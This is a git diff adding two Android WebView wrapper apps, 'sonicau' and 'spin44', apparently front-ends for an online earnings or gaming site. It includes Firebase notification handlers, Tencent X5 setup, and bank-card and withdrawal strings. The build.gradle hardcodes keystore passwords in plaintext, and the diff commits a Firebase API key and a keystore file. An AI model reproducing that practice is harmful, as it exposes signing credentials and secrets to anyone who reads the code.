.getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/sonicau/src/main/java/com/web/sonicau/WebApplication.java b/sonicau/src/main/java/com/web/sonicau/WebApplication.java new file mode 100644 index 0000000..1afc8ef --- /dev/null +++ b/sonicau/src/main/java/com/web/sonicau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.sonicau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/sonicau/src/main/res/drawable-anydpi/ic_action_back.xml b/sonicau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/sonicau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/sonicau/src/main/res/drawable-hdpi/ic_action_back.png b/sonicau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/sonicau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/sonicau/src/main/res/drawable-mdpi/ic_action_back.png b/sonicau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/sonicau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/sonicau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/sonicau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/sonicau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/drawable-xhdpi/ic_action_back.png b/sonicau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/sonicau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/sonicau/src/main/res/drawable-xxhdpi/ic_action_back.png b/sonicau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/sonicau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/sonicau/src/main/res/drawable/big_bg.xml b/sonicau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..c1461de --- /dev/null +++ b/sonicau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/drawable/ic_launcher_background.xml b/sonicau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/sonicau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/sonicau/src/main/res/drawable/input_bg.xml b/sonicau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/sonicau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/sonicau/src/main/res/drawable/pass_word_bg.xml b/sonicau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/sonicau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/sonicau/src/main/res/drawable/pass_word_bg1.xml b/sonicau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/sonicau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/drawable/pass_word_bg2.xml b/sonicau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/sonicau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/drawable/shape_btn_bg.xml b/sonicau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/sonicau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/drawable/shape_dialog_bg2.xml b/sonicau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/sonicau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/drawable/shape_dialog_bg3.xml b/sonicau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/sonicau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/drawable/shape_dialog_bg_new.xml b/sonicau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/sonicau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/sonicau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sonicau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/sonicau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/sonicau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/mipmap-hdpi/ic_empty.png b/sonicau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/sonicau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/sonicau/src/main/res/mipmap-hdpi/ic_pull_down.png b/sonicau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/sonicau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/sonicau/src/main/res/mipmap-xhdpi/ic_close.png b/sonicau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/sonicau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/sonicau/src/main/res/mipmap-xhdpi/ic_menu.png b/sonicau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/sonicau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/sonicau/src/main/res/mipmap-xxhdpi/app_logo.png b/sonicau/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..5c7925b Binary files /dev/null and b/sonicau/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/sonicau/src/main/res/values-en/strings.xml b/sonicau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/sonicau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/sonicau/src/main/res/values-night/themes.xml b/sonicau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/sonicau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/values/colors.xml b/sonicau/src/main/res/values/colors.xml new file mode 100644 index 0000000..19ff471 --- /dev/null +++ b/sonicau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #FFFFFF + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/sonicau/src/main/res/values/strings.xml b/sonicau/src/main/res/values/strings.xml new file mode 100644 index 0000000..7354152 --- /dev/null +++ b/sonicau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + SonicAU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/values/themes.xml b/sonicau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/sonicau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/xml/app_updater_paths.xml b/sonicau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/sonicau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/xml/network_security_config.xml b/sonicau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/sonicau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/sonicau/src/main/res/xml/provider_paths.xml b/sonicau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/sonicau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/sonicau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/sonicau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/sonicau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/spin44/.gitignore b/spin44/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/spin44/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/spin44/build.gradle b/spin44/build.gradle new file mode 100644 index 0000000..4c141dc --- /dev/null +++ b/spin44/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.spin44" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "spin44" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/spin44/google-services.json b/spin44/google-services.json new file mode 100644 index 0000000..be0834d --- /dev/null +++ b/spin44/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "252417649286", + "project_id": "spin-34f13", + "storage_bucket": "spin-34f13.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:252417649286:android:8b0052a67724cb2e2bbf07", + "android_client_info": { + "package_name": "com.web.spin44" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCJ0Kt8L00kVsc34Rz9JYNoXTcdn2K3tf0" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/spin44/ppn.jks b/spin44/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/spin44/ppn.jks differ diff --git a/spin44/proguard-rules.pro b/spin44/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/spin44/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/spin44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/spin44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/spin44/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/spin44/src/main/AndroidManifest.xml b/spin44/src/main/AndroidManifest.xml new file mode 100644 index 0000000..2d9bf18 --- /dev/null +++ b/spin44/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/spin44/src/main/java/com/web/spin44/MainActivity.java b/spin44/src/main/java/com/web/spin44/MainActivity.java new file mode 100644 index 0000000..513cb95 --- /dev/null +++ b/spin44/src/main/java/com/web/spin44/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.spin44; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 169; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://44spin.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#fdfdfd"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/spin44/src/main/java/com/web/spin44/MyFirebaseMessageingService.java b/spin44/src/main/java/com/web/spin44/MyFirebaseMessageingService.java new file mode 100644 index 0000000..a209b98 --- /dev/null +++ b/spin44/src/main/java/com/web/spin44/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.spin44; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/spin44/src/main/java/com/web/spin44/WebApplication.java b/spin44/src/main/java/com/web/spin44/WebApplication.java new file mode 100644 index 0000000..f5d75ee --- /dev/null +++ b/spin44/src/main/java/com/web/spin44/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.spin44; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/spin44/src/main/res/drawable-anydpi/ic_action_back.xml b/spin44/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/spin44/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/spin44/src/main/res/drawable-hdpi/ic_action_back.png b/spin44/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/spin44/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/spin44/src/main/res/drawable-mdpi/ic_action_back.png b/spin44/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/spin44/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/spin44/src/main/res/drawable-v24/ic_launcher_foreground.xml b/spin44/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ 